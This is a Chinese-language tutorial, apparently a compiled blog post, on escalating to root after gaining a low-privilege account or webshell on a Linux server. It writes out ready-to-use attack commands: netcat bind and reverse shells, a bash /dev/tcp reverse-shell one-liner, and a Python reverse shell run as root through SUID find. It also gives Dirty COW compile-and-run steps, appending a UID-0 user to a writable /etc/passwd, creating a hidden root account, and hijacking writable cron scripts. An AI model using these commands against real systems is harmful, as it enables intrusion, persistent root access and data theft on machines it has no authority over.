当我们拿到了一台Linux服务器的低权限账号,于是,我们想要通过技术手段提权至 root 用户权限,以执行更多的操作。首先关于Linux提权我们得先明白几个概念。
壹:linux发行版本
是我们常说的Linux操作系统,也即是由Linux内核与各种常用软件的集合产品,全球大约有数百款的Linux系统版本,每个系统版本都有自己的特性和目标人群, 例如:
CentOS 社区企业版(服务器端)
redhat 社区个人版
ubuntu (个人端)
kali (hacked)
贰:linux内核
Linux系统内核指的是一个由Linus Torvalds负责维护,提供硬件抽象层、硬盘及文件系统控制及多任务功能的系统核心程序。
Linux内核版本有两种:稳定版和开发版 ,Linux内核版本号由3组数字组成:第一个组数字.第二组数字.第三组数字
第一个组数字:目前发布的内核主版本。
第二个组数字:偶数表示稳定版本;奇数表示开发中版本。
第三个组数字:错误修补的次数。
使用 uname -r 可以看到linux系统的发行版本号。3.10.0就是内核版本号。3就是内核主版本,10表示是稳定版,0表示错误修补次数是0。 而 123.el7.x86_64则是 redhat 的发行版本信息,123 代表编译123次,el7代表的是redhat7,x86_64则是64位系统。
或者使用以下命令也可以看到系统内核及版本的一些信息:
uname -a #查看内核的具体信息
cat /proc/version #查看内核的具体信息
cat /etc/centos-release #查看centos发行版本
cat /etc/redhat-release #查看redhat发行版本
叁:Linux开启apache服务
在终端输入
“vim /etc/apache2/ports.conf” ->
键盘输入i 进入插入编辑模式 -> 修改apache2默认监听端口号为8080 -> 编辑好后,按Esc键+“:wq” 保存退出 -> 在终端输入
“/etc/init.d/apache2 start”
肆:Linux提权的前提:
拿到了一个低权限的账号
能上传和下载文件
机器上有python、java、perl等环境(非必须项)
伍:Linux常用渗透命令学习
死记硬背以下12类命令:系统信息查看类、文件目录类、驱动挂载类、程序安装类、源代码包安装、压缩解压类、进程控制类、程序运行类、用户帐号类、vi编辑类、网络服务、其他类等。
详情参考:Linux常用渗透命令篇
陆:Linux提权方法总结
一、Linux反弹提权
如果手里只有webshell可以利用反弹shell来得到一个shell
1、首先得有一个netcat
简单介绍一下netcat
功能强大的网络工具,在网络工具中有“瑞士军刀”美誉,其有Windows和Linux的版本。因为它短小精悍,功能实用,被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据。同时,它还是一个网络应用Debug分析器,因为它可以根据需要创建各种不同类型的网络连接。
详情参考:https://www.cnblogs.com/nmap/p/6148306.html
①netcat参数介绍
1) -l 用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
2) -p 暂未用到(老版本的nc可能需要在端口号前加-p参数,下面测试环境是centos6.6,nc版本是nc-1.84,未用到-p参数)
3) -s 指定发送数据的源IP地址,适用于多网卡机
4) -u 指定nc使用UDP协议,默认为TCP
5) -v 输出交互或出错信息,新手调试时尤为有用
6)-w 超时秒数,后面跟数字
7)-z 表示zero,表示扫描时不发送任何数据
②nc用法介绍 1——tcp监听
nc nc -l -p 8080 开启本地8080端口监听
③nc用法介绍 2——反弹服务器shell
方法⑴:REMOTE主机绑定SHELL
在公网监听
nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
或者
nc -l -p 5555 -t -e cmd.exe
在内网主动建立连接
nc -nvv 192.168.153.138 5555
讲解:-t是通过telne模式执行 cmd.exe 程序,可以省略。
绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
方法⑵:REMOTE主机绑定SHELL并反向连接
在公网监听
nc -lp 5555
在内网机器反弹
nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
或者
nc -t -e cmd 192.168.153.140 5555
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
以上为最基本的几种用法(其实NC的用法还有很多,当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)
2、利用bash直接反弹
简单介绍一下bash
Bash,Unix shell的一种,在1987年由布莱恩·福克斯为了GNU计划而编写。1989年发布第一个正式版本,原先是计划用在GNU操作系统上,但能运行于大多数类Unix系统的操作系统之上,包括Linux与Mac OS X v10.4都将它作为默认shell。它支持文件名替换(通配符匹配)、管道、here文档、命令替换、变量,以及条件判断和循环遍历的结构控制语句。
(1) bash反弹一句话
1.bash -i >& /dev/tcp/192.168.1.1/8080 0>&1
2.本地 nc -l -p 8080
(2)bash一句话命令详解
以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。
命令 命令详解
bash -i 产生一个bash交互环境
>& 将联合符号前面的内容与后面的相结合然后一起重定向给后者
/dev/tcp/192.168.31.41/8080 linux环境中所有的内容都是以文件的形式存在的,其实大家一看见这个内容就能明白,就是让主机与目标主机192.168.61.41:8080端口建立一个TCP连接。
0>&1 将标准的输入与标准输出内容相结合,然后重定向给前面标准的输出内容。
其实以上bash反弹一句完整的解读过程就是:
bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
二、脏牛内核提权
脏牛漏洞:又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。还有一些其他的内核漏洞提权了。但是内核漏洞提权很难成功,因为内核提权对内核的版本,还有目标机器的环境要求很高(需要安装有gcc等编译环境 )。所以使用内核提权成功率很低。并且内核提权需要查看exp的源代码,不然可能连编译都不会。
漏洞范围:Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)
简要分析:该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。
exp:https://github.com/gbonacini/CVE-2016-5195
利用gcc编译dirty.c文件
gcc -pthread dirty.c -o dirty -lcrypt
执行当前编译的dirty.c文件
./dirty
然后su firefart切换到此用户会发现已经是root权限了
恢复回去使用
rename /tmp/
三、SUID提权
简单介绍一下概念
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。
什么是SUID提权?
那么什么是suid提权呢?我理解的就是有个文件,它有s标志,并且他输入root,那么我们运行这个程序就可以有了root的权限,并且这个程序还得能执行命令,不然没什么用处,那么我们就能从普通用户提升到了root权限了。
首先在本地查找符合条件的文件,有以下三个命令
#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
已知的可用来提权的linux可行性的文件列表如下:
nmap
vim
find
bash
more
less
nano
cp
利用find文件提权
假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限。
我们查看具有root用户权限的SUID文件
find / -perm -u=s -type f 2>/dev/null
我们随便找一个命令进行利用,我们就找find,先查看其信息,发现其确实是root用户权限的SUID的文件
我们先看一下是否能用find命令以root权限运行,发现确实可以以root权限运行
/usr/bin/find examples.desktop -exec whoami \;
然后我们查看目标网站上是否有python环境,可以看到有python2.7.6的环境
于是我们以root用户的身份利用python反弹shell,
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' #反弹一个sh类型的shell
可以看到,在攻击端收到了反弹过来的shell,并且是root身份
本节来自谢公子的博客:https://blog.csdn.net/qq_36119192/article/details/84872644
四、Linux配置错误提权
还有就是利用Linux的配置文件错误,导致 /etc/passwd 文件可写入提权:
对Linux配置进行检查的脚本有:
https://www.securitysift.com/download/linuxprivchecker.py
http://pentestmonkey.net/tools/audit/unix-privesc-check
当我们获得了某个Linux服务器的低权限之后,我们想要对该低权限账号进行提权,以执行更多的操作。
接下来我们的提权是利用 /etc/passwd 文件的可写入权限,导致我们写入一个其他用户进去。
首先,查看 /etc/passwd 的权限,发现任何用户都可以读写。
我们现在要做的就是自己构造一个用户,在密码占位符处指定密码,并且UID设置为0,将其添加到 /etc/passwd 文件中。
首先,使用perl语言生成带有盐值的密码:
perl -le 'print crypt("password@123","addedsalt")'
然后执行下面这条命令,成功将test用户的信息加入 /etc/passwd 文件
echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
以用户名:test 密码: password@123 登录主机,登录成功后,是 root 权限。
以下这条命令直接生成一个具有root权限的用户:venus,密码为:123qwe 。前提是这条命令的执行需要root权限。
useradd -p `openssl passwd -1 -salt 'user' 123qwe` -u 0 -o -g root -G root -s /bin/bash -d /home/user venus
本章来自于谢公子的博客:https://blog.csdn.net/qq_36119192/article/details/99871667
五、定时任务提权
系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root 用户的计划任务的。但是 /etc/ 内系统的计划任务可以被列出。默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写,我们就可以修改脚本进行提权了。
ls -l /etc/cron*
使用该命令,列出的文件,查看 /etc/cron.daily 、/etc/cron.hourly、/etc/cron.monthly、/etc/cron.weekly 这四个文件夹内的文件,查看是否允许其他用户修改。如果 允许任意用户修改,那么我们就可以往这些文件里面写入反弹shell的脚本提权了。
六、密码复用提权
我们如果在主机上找到了其他应用或数据库的密码,那么很有可能root用户也用该密码。那么就可以尝试一下 su root 来提权了。
七、ReDuh内网端口转发
ReDuh是可以把内网服务器的端口通过http或https隧道转发到本机,形成一个TCP连通回路,用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部端口的工具。
详细介绍:http://www.cnblogs.com/huhu0013/p/4567319.html
八、内网渗透神器ReGeorg
ReGeorg是ReDuh的继承者。主要是把内网服务器的端口通过http/https隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。
详细介绍:http://iscc.gxu.edu.cn/index.php/News/show/id/34